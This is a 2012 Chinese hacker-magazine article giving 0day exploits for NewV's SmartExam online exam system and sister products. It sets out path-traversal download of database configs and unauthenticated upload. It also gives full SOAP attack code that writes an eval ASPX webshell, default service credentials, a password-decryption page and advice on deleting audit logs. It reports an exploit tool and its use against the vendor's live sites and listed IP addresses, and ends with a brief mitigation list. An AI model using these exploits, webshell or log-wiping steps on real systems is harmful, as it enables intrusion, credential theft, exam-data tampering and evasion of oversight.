黑客防线2012合订本
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

如履薄冰的新为在线0Day漏洞分析

前置知识:ASP

关键词:新为在线 权限认证

图/文 Cschi

随着网络时代的到来,我们的学习模式受到了前所未有的冲击,在线学习、培训及考试作为一种新型的学习模式已经悄然兴起,我们的学习不再受时间和空间的限制,你可以根据自己的时间合理安排学习计划,而且足不出户就可以参加统一考试。

深圳新为成立于2003年,官方网站为www.newv.com.cn,是目前中国最大的学习管理软件提供商之一(笔者按:此评价出自新为官网),时至今日,新为主要研发的产品有SmartLearning学习发展系统、SmartExam在线考试系统、SmartBOS学习运营系统等,成功案例涉及政府机构、税务系统、公安系统、能源交通、高等院校及电信、金融、医疗、IT等众多行业。

SmartExam在线考试系统(以下简称SmartExam)是国内市场占有率最高的通用化网络考试软件,主要有2005、2008、2009、2010几种版本,如图1~3所示,本文重点分析SmartExam最新0Day漏洞,最后延伸到SmartLearning、SmartBOS等系统,Google搜索关键字“nwc_755_newvexam”,结果如图4所示。

图1

图2

图3

图4

系统安全

因为SmartExam是基于微软.NET平台开发的商业软件,而不是免费的开源软件,所以本文所涉及的内容仅供技术探讨和系统修补,请勿用于破解攻击等非法用途。也因此,虽然笔者在互联网中仔细地百度、Google和Goobye(搜索ftp资源),都没有下载到最新的2010版本,只得到SmartExam 2008,尽管是一款数年前的版本,但是通过分析,我们也大致可以窥一斑知全豹,进而获得通往曙光的钥匙。

要想系统分析SmartExam,就必须使用Reflector软件和Reflector.FileDisassemb ler插件进行反编译,目前Reflector软件已经开始收费,以前免费版本运行时会提示已过期,并且直接删除可执行文件。破解的方法是修改系统时间为2004年的某个时间,但是退出时还是会删除可执行文件,所以需要备份压缩包。通过源码,我们可以分析出SmartExam软件注册流程,如图5所示,进一步分析GetProductInfo()函数可以解密新为注册文件的数据格式及加密方式等,本文不做详细讨论。

图5

SmartExam采用了多种技术架构,整体的安全性能比较高,能较好地防止注入等漏洞,功能更加强大,性能更加稳定,同时具备更好的扩展性,其优点的确很多。但是也可能是新为十分在意软件的功能和性能,对产品安全性有些疏忽,导致其安全性脆如纸张,一捅即破,影响到从SmartExam到SmartLearning、SmartBOS等几乎所有新为产品。

1.用户权限验证方式

如果没有登录用户,新为不允许对aspx页面随意访问,当用户访问除IgnoredUrl以外的其他页面时,会将用户的访问重定向为登录页面LoginUrl,默认为“/customize/ nwc_755_newvexam/login/login.aspx”。查看网站根目录中的“newv.sso.dll.config”文件内容,如图6所示,其中“IgnoredUrl”值所设置的页面是可以忽略的页面,这些页面即使没有登录用户也可以直接访问。

图6

任意下载漏洞:DownloadFileContent.aspx。反编译的DownloadFileContent.cs源码如图7所示,首先获取外部变量fileName,然后调用DownLoadFile函数下载文件,其中WebServerFileRootPath默认为“/fileroot”目录,可以使用“..”跳转,于是下载License.ncer文件(产品授权文件)的链接为“/module/DownloadFileContent.aspx?file Name=../fileroot/License.ncer”,如图8所示。

图7

图8

还可以下载Log目录中的日志文件及bin目录的dll文件,甚至可以下载到newv.data.dll.config等,下载链接为“/module/DownloadFileContent.aspx?file Name=../newv.data.dll.config”,如图9所示,从newv.data.dll.config文件中获得MSSQL连接参数,如图10所示,像这样设置,我们可以直接访问到MSSQL数据库服务器,获得网站数据,如图11所示,其中密文“FE24W1UJNg1QedCl+4dKFw==”的明文为“123456”。

图9

图10

图11

甚至还可以使用本地MSSQL企业管理器注册新的“SQL Server组”,如图12所示,在“安全性|登录下”获得该MSSQL服务器中所有登录名和数据库,必要时可以进行暴力破解。

图12

当然下载config文件成功率不会很高,因为这还与服务器设置有关。此外还有ExerciseByQuestion.aspx、ExamineByQues tion.aspx等页面不需要登录就可以直接访问,本文不做深入分析。

2.后台页面上传漏洞

仍然是权限验证的问题,因为新为的后台页面对管理员验证不足(几乎没有验证),导致只要登录普通用户,就可以任意访问后台页面,比如“ /module/ResFileManager.aspx ” ,“/framework/HtmlEditor/HtmlEditRes/Fil eUpload.aspx”,“/fileservice/FileUpload. aspx”,“/fileservice/SingleFileUpload. aspx”,“/user/framework/UserResFileMana ger.aspx(2010版本的文件)”等,SmartExam所有版本均受此漏洞影响。

浏览目录。使用链接“/module/SelectFile OnFileServer.aspx?TargetRootPath=/../”和“/module/ResFileManager.aspx?Target RootPath=/../”等,可以跨目录浏览,如图13和图14所示,如果修改TargetRootPath变量为绝对路径,如“d:/、c:/”等,还可以浏览其他分区或目录。

图13

图14

ResFileManager.aspx上传文件。利用链接“/module/ResFileManager.aspx?TargetRoo tPath=/../”,不但可以跨目录浏览,还可以直接上传aspx木马文件,如图15和图16所示。

图15

图16

注意:① 使用“TargetRootPath=/../”跳转目录到网站根目录,因为默认上传目录fileroot不能解析aspx,还可以使用“创建”目录名类似“/../temp”的目录,达到跨目录上传文件的目的,演示略。② 使用“IgnoredUrl”值所设置的文件名格式,如“*password.aspx”等,否则必须登录SmartExam才可以访问上传的aspx文件。③ 上传页面其实是“/fileservice/SingleFileUpload. aspx”页面,如图17所示。④可以对目录或文件进行“删除”、“更名”等操作,这样即使管理员在后台设置“禁止上传的文件扩展名”包含了“aspx”(详见后文),我们依然可以上传jpg等文件,然后“更改”扩展名为aspx,还可以利用“上传自解压文件”上传aspx文件。

图17

HtmlEditor.aspx高级编辑器上传文件。访问链接“/framework/HtmlEditor/HtmlEditor. aspx?FileRootPath=/../”,打开“高级编辑器”页面,利用“插入附件”上传aspx文件,如图18所示。

图18

注意:① 使用“FileRootPath=/../”,文件将被上传到网站根目录。② 使用“HTML”从源码中获得上传后的文件名。③ “插入附件”实际调用的是“/framework/HtmlEditor/HtmlEditRes/ftb .insertattachment.aspx”页面文件。

FileUpload.aspx上传文件。直接访问“/fileservice/FileUpload.aspx”,页面出错,如图19所示,这是因为没有提交file对象实例,只要我们外部提交file对象即可。

图19

分析反编译文件fileservice_FileUpload. cs源码,如图20所示,可以一次上传多个文件,还可以使用FilePath变量跳转目录,而且没有限制上传文件的类型。

图20

提交页面如图21所示,源码如图22所示,上传后的文件名使用“*Password.aspx”格式,保证不登录SmartExam用户可以直接访问,上传成功后页面返回“Succeed”,如图23所示。

图21

图22

图23

由于SmartExam 2010版本允许直接访问FileUpload.aspx页面,所以在不登录的情况下,就能秒杀SmartExam!

asmx文件漏洞

可能大家认为上节涉及的漏洞危害不大,毕竟访问后台页面必须得先登录用户,而这样对系统的危害也仅限于“内部人员”,因为SmartExam默认不允许注册新用户,但是在本节中笔者将爆出asmx漏洞,足以颠覆新为的安全防线。

asmx是WEB服务文件,属于B/S形式,用SOAP方式访问,用XML方式返回数据。SmartExam允许直接访问“*.asmx*”,并且存在多个asmx文件,SmartExam 2010包含的asmx文件如图24所示,而SmartExam 2008版本仅包含其中FileManage.asmx、UserInterface.asmx、ExamInterface.asmx等文件。

图24

FileManage.asmx漏洞。顾名思义,该文件主要用于文件的上传、更名、删除等操作,直接访问结果如图25所示,选择相应的操作(operations)函数,如“GetLogicalDrives”,获得SOAP 1.1或1.2方式的调用和返回数据格式,如图26所示。

图25

图26

SOAP采用了广泛使用的两个协议:HTTP和XML,可以简单理解为以HTTP方式提交XML格式数据。SOAP 1.1的数据格式如下(其中黑体部分是操作函数的调用参数或返回数据,GetLogicalDrives为获得本地磁盘分区函数,没有参数)。

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:xsd="http://www.w3.org/2001/XMLSchema"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetLogicalDrives xmlns="http://tempuri.org/"/>
          </soap:Body>
        </soap:Envelope>

我们获得XML格式的数据后,剩下的问题就是将这些数据以HTTP方式提交,就可以实现以SOAP方式访问Web服务的asmx文件了,最简单的方法是使用XMLHttpRequest对象,页面源码如下。

        <head>
              <META http-equiv=Content-Type
      content="text/html; charset=GB2312">
        </head>
        <script language="javascript">
          var XMLHttpReq = false;
          //创建XMLHttpRequest对象
        function createXMLHttpRequest() {
                if(window.XMLHttpRequest){//Mozilla 浏
  览器
                      XMLHttpReq = new
  XMLHttpRequest();
                }
                else if (window.ActiveXObject) { // IE浏览
  器
                      try {
                            XMLHttpReq = new
  ActiveXObject("Msxml2.XMLHTTP");
                      } catch (e) {
                          try {
                                  XMLHttpReq =
  new ActiveXObject("Microsoft.XMLHTTP");
                            } catch (e) {}
                      }
                }
          }
          //发送请求函数
          function sendRequest() {
                createXMLHttpRequest();
                var xml = createXML();
            url = document.getElementById("url").value;
                XMLHttpReq.open("POST",
  url+"/fileservice/FileManage.asmx", true);
                XMLHttpReq.onreadystatechange =
  processResponse;//指定响应函数
  XMLHttpReq.setRequestHeader("Content-Type", "text/xml");
                XMLHttpReq.send(xml);// 发送请求
          }
          // 处理返回信息函数
            function processResponse() {
              if(XMLHttpReq.readyState==4){// 判断对
  象状态
                if(XMLHttpReq.status==200){// 信息已
  经成功返回,开始处理信息
                      var
  res=XMLHttpReq.responseText;
  document.getElementById("XMLResult").innerHTML=res;
                    } else { //页面不正常
                          window.alert("您所请求的页
  面有异常。");
                    }
              }
            }
      //创建XML格式数据
          function createXML() {
                var xml = "<?xml version=\"1.0\"
  encoding=\"utf-8\"?>";
                xml = xml + "<soap:Envelope
  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
  xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
  xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">";
                xml=xml+"  <soap:Body>";
      //GetLogicalDrives函数获取磁盘分区
              //xml=xml+"   <GetLogicalDrives
  xmlns=\"http://tempuri.org/\" />";
      //GetFileListFromSpecificPath函数获取文件,“\\”网站
  绝对路径
         xml=xml+"    <GetFileListFromSpecificPath
  xmlns=\"http://tempuri.org/\">";
                xml = xml + "
  <sPath>\\..\\</sPath>";
                xml = xml + "
      </GetFileListFromSpecificPath>";
            //GetDirectories函数获取目录
            /*
                  xml = xml + "<GetDirectories
      xmlns=\"http://tempuri.org/\">";
                  xml = xml + "<sPath>C:\\</sPath>";
                  xml = xml + "</GetDirectories>";
            */
            //WriteTextFile函数写文件
            /*
                  xml = xml + "<WriteTextFile
      xmlns=\"http://tempuri.org/\">";
                    xml = xml +
      "<filePath>D:\\tmp-8000\\smartexam2008\\web\\111.aspx</file
      Path>";
                xml = xml +
      "<fileContent>stringhhhhcvvcvc</fileContent>";
                    xml = xml + "</WriteTextFile>";
            */
                xml=xml+"  </soap:Body>";
                xml = xml + "</soap:Envelope>";
                    return xml;
              }
        </script>
        <body vLink="#006666" link="#003366"
      bgColor="#E0F0F8">
        <form action="" method="post" name="myform">
        ulr: <input type="text"size="50"name="url"
      value="http:// "><br>
        <input type="button" value="提交"
      onclick="sendRequest()" >
        </form>
        <Div id="XMLResult">
        </Div>

关键代码是createXML()函数,生成符合SOAP 1.1要求的格式数据。该函数调用FileManage.asmx中的操作函数GetFileListFromSpecificPath,获取参数sPath所指定目录中的文件列表,“\\..\\”指定网站根目录,这样我们可以获取到绝对路径。该函数还给出GetLogicalDrives(获取磁盘分区)、GetDirectories(获取目录)、WriteTextFile(写文本文件)等调用示例,请根据实际情况设置其中的参数。最后复制这段源码并另存为FileManage.asmx.html文件,输入URL获得网站的绝对路径,如图27所示,虽然显示的结果不很美观,但是我们的目的已经达到!

图27

操作函数WriteTextFile写文本文件。设置参数filePath为绝对路径“d:\\newway\\smart exam2011\\web\\111password.aspx”,或者相对路径 “\\..\\111password.aspx”,文件名使用“*password.aspx”格式;设置参数fileContent为aspx的句子,如“<%@ Page Language="Jscript" validateRequest=“false" %><%Response.Write(eval(Request. Item["w"],"unsafe"));%>”,特殊字符需要转义,如“<”、“>”必须用ASCII码值“<”、“>”代替,提交的一句话成为“<%@ Page Language=\"Jscript\" validateRequest=\"false\" %><%Response.Write (eval(Request.Item[\"w\"],\"unsafe\"));%>”,如图28所示。

图28

如果提交页面返回“false”,表示没有错误,写文件成功,使用客户端连接如图29所示。

图29

FileManage.asmx支持的操作函数非常丰富,如CopyFile(复制文件)、DeleteDirectory(删除目录)、DeleteFile(删除文件)、OpenTextFile(读文本文件)、RenameDirectory(重命名目录)、RenameFile(重命名文件)、UnzipFile(解压缩文件)、UploadFile(上传文件,参数buffer值必须是base64Binary类型数据)、SearchFileFromSpecificPath(搜索文件)等。详细利用,有兴趣的读者可以自己尝试,本文略。

UserInterface.asmx漏洞。用户接口文件framework/api/UserInterface.asmx提供了与用户有关的操作函数,如AddDept(添加部门)、DeleteUserByLoginName(根据登录名删除用户)、Encrypto(获得字符串的Encryp编码,如密码)、GetUserInfoByLoginName(根据登录名获得用户信息)、InsertUserInfo(插入用户信息)、Login(登录用户)、UpdateUserInfo(修改用户信息)等,如图30所示。

图30

在这个用户接口文件中的操作函数几乎都包含两个参数callUserName和callUserPassword,必须通过这两个参数的验证,才能成功调用接口文件中的操作函数,如图31所示。

图31

在反编译文件NvAppSetting.cs源码中找到参数callUserName和callUserPassword的默认值,分别为“system”、“system123456”,如图32所示。

图32

提交页面UserInterface.asmx.html与FileManage.asmx.html相似,只有lUserPas sword不同,分别为“system”、“system123456”,然后调用操作函数GetUserInfoByLoginName,获取管理员“admin”的用户信息;createXML()函数中调用的操作函数略有不同,如图33所示,即修改前文的提交页面源码:首先设置参数callUserName和cal,然后修改“XMLHttpReq.open("POST", url+"/fileservice/FileManage.asmx", true);”为“XMLHttpReq.open("POST", url+"/framework/api/UserInterface.asmx", true);”,最后另存为UserInterface.asmx. html文件。

图33

成功获取到管理员admin的用户信息,如图34所示。

图34

破解密码 。SmartExam使用SymmetricCryptoMethod.Encrypto()函数加密密码,该函数定义在newv.common.dll文件的SymmetricCryptoMethod类中,反编译源码如图35所示,这个类中不但定义了Encrypto()函数,还定义了Decrypto()函数,因此我们就可以利用Decrypto()函数破解密码。

图35

复制如下代码,保存为Decrypto.aspx文件,上传到SmartExam系统的customize目录中(不允许登录访问“customize/*”,即customize目录中的任意文件),这样便获得一个简易的SmartExam密码破解工具,在地址栏提交需要破解的密文,就可以成功破解到明文了,如图36所示。

        <%@ Page Language="C#" Debug="true" %>
        <%@ Import Namespace="newv.common" %>
        <%@ Import Namespace="System" %>
        <%@ Import Namespace="System.Web" %>
        <%@ Import Namespace="System.Web.UI" %>
        <%@ Import
      Namespace="System.Web.UI.HtmlControls" %>
        <head>
        <title>SmartExam密码破解</title>
        </head>
        <%
        string str=Request["str"];
        Response.Write("破解结
      果:"+SymmetricCryptoMethod.Decrypto(str));
        %>

图36

一旦获得管理员密码,我们就可以“正大光明”、“堂而皇之”地登录系统,并且获得后台管理权限,如图37所示,注意,SmartExam会详细记录用户登录和各种操作日志,包括删除日志的操作,要想完全删除登录痕迹,必须通过第三方工具连接MSSQL数据库执行delete语句。

图37

ExamInterface.asmx提供了与考试相关的接口函数,比如DeleteByExamUid、DeleteByExerciseUid、GetUserExamView等,如图38所示,调用方式与UserInterface.asmx类似,需要指定参数callUserName和callUserPassword。

图38

SmartExam 2010版本还新增了DistInterface.asmx、SmartClient.asmx等接口文件,如图39和图40所示,至于如何应用,本文不做讨论。

图39

图40

数据安全

树欲静而风不止。对于安全隐患人们防之又防,可是各种密码泄露、用户信息被盗事件仍时有发生,令人想而生畏。在线考试系统不会承载太多的用户信息,我们关注的是系统中的考试信息,比如试题、答案、试卷、成绩等,一旦系统存在安全隐患,这些信息将显得那么脆弱和苍白。由于SmartExam在验证管理员后台权限方面存在问题,只要用户登录系统,就可以任意访问后台页面文件,因此普通用户也可以完成管理员的操作,比如修改系统设置,管理题库、试卷、用户,新增(导入)管理员等。SmartExam对于普通用户可以说是“完全开放”的,只要给出链接,谁都可以进行管理员的操作。

下面是一些常用的链接。

操作日志:/framework/system/Operate LogList.aspx,如图41所示。

图41

系统设置:/framework/system/SysManage SettingMain.aspx,如图42所示。利用这个页面可以设置禁止上传的文件类型,默认为“exe;bat;cmd;scr;com”,还可以修改“调用Web服务的用户名和密码”,即参数callUserName和callUserPassword,默认为“system和system123456”。

图42

题库管理:

/module/OneTabMain.aspx?MenuCode=ex am_question_manage&MenuLink=exam/quest ion/QuestionManage.aspx,如图43所示。利用这个页面可以“导出”全部试题及标准答案,可以是excel格式或doc格式。

图43

试卷管理:

/module/OneTabMain.aspx?MenuCode=ex am_paper_and_policy_manage&MenuLink=ex am/paper/PaperAndPolicyManage.aspx,如图44所示,可以浏览生成的“固定”和“随机”试卷。

图44

考试成绩查询:

/module/OneTabMain.aspx?MenuCode=ex am_exam_grade_search&MenuLink=exam/exa m/ExamGradeSearch.aspx,如图45所示。

图45

考生成绩查询:

/module/OneTabMain.aspx?MenuCode=ex am_user_grade_search&MenuLink=exam/exa m/ExamGradeAccountByExamTime.aspx。

考生答卷查看:

/exam/exam/UserPaperPreview.aspx?ex amGradeUid=528649f6-d06a-40ef-8814-521 284f9895d,如图46所示,只要知道examGradeUid就可以查看答卷,包括答案,然后使用链接“/exam/exam/JudgePaper.aspx?exam GradeUid=”或“/exam/exam/JudgePaperBy Question.aspx?examGradeUid=”进行手工或批量手工评卷。

图46

用户管理:

/module/OneTabMain.aspx?MenuCode=fr amework_user_manage&MenuLink=framework/user/UserManage.aspx,如图47所示。利用这个页面可以激活“待审批、禁用、锁定”等类型用户,甚至可以通过外部提交“chkIsAdmin=Y”,修改用户为管理员。

图47

导入用户:

/module/OneTabMain.aspx?MenuCode=fr amework_user_manage&MenuLink=framework/user/UserImportHZMobile.aspx,如图48所示。利用这个页面可以新增用户,包括管理员,具体操作:① 执行“示例->下载模板”命令,② 编辑excel文档,添加姓名、登录名、密码(密码可以为空)等用户信息,选择“是否为管理员”为“Y”,其他项为空,③ “浏览”并“载入”excel文档,④ 当“格式检查”无误,如“格式检查完成,没有发现错误格式”时,即可进行“导入”,成功返回“操作完成,成功导入用户[1]人,导入失败[0]人。”注意:以这种方法增加的用户,虽然可以正常登录系统和后台管理,但是因为没有指定用户所属“组织名称”,所以不被管理员管理,也不能管理其他用户,比如“用户管理”、“在线用户”查询不到。

图48

在线用户:

/module/OneTabMain.aspx?MenuCode=fr amework_online_user_list&MenuLink=fram ework/user/OnlineUserList.aspx。

工具编写

考虑开源共享,笔者放弃Delphi,采用CSS+DIV+JS语言进行工具编写。工具名称:SmartExam 0Day漏洞利用工具,设计界面如图49所示,功能包括:FileUpload.aspx上传漏洞、FileManage.asmx漏洞、UserInterface.asmx漏洞、后台管理常用链接、Decrypto解密源码等。

图49

关键技术:① DIV实现页面的框架栏目;② XMLHttpRequest对象的生成、调用及异常处理等;③ 全局变量URL的调用,比如表单form的action、链接的href等动态修改;④ 根据不同的Web服务接口函数的参数,显示和设置不同的参数输入栏;⑤ 根据不同的Web服务接口函数,生成不同的SOAP格式数据;⑥ SOAP方式提交数据,数据的特殊字符需要转义,如“<”、“>”必须用ASCII码值“<”、“>”代替;⑦ 返回数据的简单正则处理等;部分代码如图50所示。使用时,请首先输入以“http://”开头的URL,然后便可使用各个功能。

图50

功能扩展:采用CSS+DIV+JS语言的优点是:不需要编程环境进行编译,使用任何文本编辑器就可以修改,而且即改即用。为了方便以后对该工具进行功能扩展,本文给出几处修改要点如下。

① 增加栏目,比如增加“Decrypto解密源码”,如图51所示。

图51

② “FileManage.asmx漏洞”栏目增加新函数调用,比如“DeleteFile函数删除文件”,第1、2步如图52所示,第2步需要注意,如果DeleteFile函数只有一个参数sSourceFile,而且表单“form_2”也没有这个参数sSourceFile的输入栏,这时需要新增一个div,名称为“form_2_4”,内容是sSourceFile的input元素;第3步修改函数ShowForm(m,n),实现选择不同的操作函数,显示不同的参数输入栏,如图53所示,变量m=2表示与“FileManage.asmx漏洞”有关,m=3表示与“UserInterface.asmx漏洞”有关,变量n为select元素当前所选中option的值,即当前所选中的操作函数,n=5表示选中“DeleteFile函数删除文件”,这时只显示参数sSourceFile的输入栏,代码为“document.getElementById ("form_2_4").style.display="block";”;第4步修改函数createXML(m,n),生成SOAP格式数据,如图54所示。

图52

图53

图54

③ “UserInterface.asmx漏洞”栏目增加新函数调用的修改方法与上面类似。

测试实例

本章重点使用“SmartExam 0Day漏洞利用工具”(以下简称漏洞利用工具)对新为官网和其他软件进行实测。新为目前共有4种系统提供体验试用,如图55所示,但是试用账号必须通过申请才能获得,接下来我们使用漏洞利用工具逐一进行实测,不需要用户名直接秒杀。

图55

测试SmartExam

网址URL为“http://demo.newv.com.cn/exam”,使用“FileManage.asmx漏洞”直接可以浏览网站目录,如图56所示,甚至可以浏览其他的分区和目录,如图57所示,毕竟.NET属于Users组权限。

图56

图57

再使用“UserInterface.asmx漏洞”获得管理员admin密码,并成功破解,如图58所示。

图58

使用“FileUpload.aspx上传漏洞”,如果页面跳回登录界面,则说明网站不允许直接访问FileUpload.aspx页面,最后使用“WriteTextFile”函数写文件成功,如图59所示。

图59

测试SmartLearning学习发展系统(http://61.145.163.254:8091)、SmartBOS学习运营系统(http://61.145.163.254:8089)、LiveLearning培训会议系统(http://61.145.163.254:8095)全部通过,可以浏览磁盘分区、目录、文件,还可以写入、删除文件和破解管理员密码,后面两个系统允许不登录用户直接访问FileUpload.aspx页面。

2.测试新为门户网站(www.newv.com.cn

我们注意到新为门户网站的页面链接中存在敏感字符“fileroot”,如图60所示,SmartExam系统用这个目录保存用户上传文件,通过进一步尝试,我们不难发现新为门户网站的目录结构与SmartExam等系统十分相似,可以这样推测:新为的门户网站使用了SamrtExam系统(或者是某种改版),其核心代码也应该相同。

图60

访问FileUpload.aspx页面,跳转到登录界面,如图61所示,确认为SMARTBOS系统。

图61

直接使用漏洞利用工具进行测试,可以浏览目录和文件、写一句话、获得加密密码,但是在使用Decrypto.aspx破解密码时出现异常错误,页面显示“Invalid length for a Base-64 char array.”,如图62所示。

图62

这是因为密文中存在“+”字符,用Request方式接收,“+”字符会漏掉,将“+”字符改为“%2b”,重新破解密码成功,如图63所示。

图63

回顾整个漏洞分析过程,从貌似坚不可摧到弱不禁风,好像SmartExam系统与我们开了个莫大的玩笑,真可谓天壤之别,而这一切竟源于SmartExam 2008——一个几年前的尘封版本。再次证明了开源与安全的辩证关系,也印证了“堡垒最容易从内部被攻破”的哲理。有了SmartExam 2008源码,我们可以顺藤摸瓜,对2010等版本也窥一斑而知全豹,再根据SmartExam按图索骥对新为的其他软件如SmartLearning、SmartBOS等有所了解。同时也反映出几点信息:新为各种版本之间的差异不是很大,包括跨平台之间,如SmartLearning、SmartBOS、SmartExam等,这样做虽然研发效率很高,但是安全性能大打折扣,一旦有一款产品出现问题,将蔓延至整个产品体系。

本文虽然从SmartExam 2008入手,但是引发的安全问题涉及新为的整个产品体系,从系统安全到数据安全。考虑到漏洞危害较大,而新为使用dll进行源码保护,普通用户不可能对系统进行深层次的漏洞防护,只能等待新为对产品进行修补升级,这里笔者仅给出一些简单的防护措施作为应急:①在后台的系统设置中,给“禁止上传的文件类型”(默认为“ exe;bat;cmd;scr;com ” )添加“aspx;asmx;asp;asmx;ashx”等文件类型;②修改“调用Web服务的用户名和密码”(默认为“system和system123456”);③对于SmartExam2010版本,修改newv.sso.dll.config文件,禁止不登录用户直接访问FileUpload.aspx页面;④ 删除或更名所有Web服务的asmx文件,如FileManage.asmx、UserInterface.asmx、ExamInterface.asmx、DistInterface.asmx等。

由于新为存在跨目录和用户权限验证不严的先天缺陷,导致普通用户可以跨目录上传文件和任意访问后台页面文件。Smart Exam 2010版本也仅在“/framework/desktop/Back*.aspx”一些框架页面中判断是否为管理员,其他后台页面文件依然可以任意访问,因此即使做过以上的漏洞防护措施,也无法防止内部用户的非法使用,比如访问后台页面文件,甚至利用ResFileManager.aspx、HtmlEditor.aspx上传文件,然后更名进行挂马。但是这种情况也只是局限在内部用户,危害程度明显减小许多。

(声明:本文涉及的漏洞利用工具仅供学习和研究,请勿用于非法用途,因此引发的法律纠纷与笔者无关。)

前置知识:C

关键词:ShellExecuteW